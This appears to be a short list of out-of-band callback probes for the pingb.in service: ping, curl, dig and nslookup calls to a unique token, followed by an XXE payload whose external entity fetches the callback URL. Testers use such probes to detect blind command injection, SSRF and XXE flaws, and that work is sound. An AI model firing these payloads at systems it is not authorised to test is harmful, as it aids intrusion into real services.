$ ping -c1 -p 006b5dd3cab81cdb120fcd8426e28000 pingb.in
 

$ curl pingb.in/p/6b5dd3cab81cdb120fcd8426e280
 

$ dig 6b5dd3cab81cdb120fcd8426e280 @pingb.in
 

$ dig 6b5dd3cab81cdb120fcd8426e280.ns.pingb.in
 

C:\> nslookup 6b5dd3cab81cdb120fcd8426e280 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/6b5dd3cab81cdb120fcd8426e280">]>
    <foo>&xxe;</foo>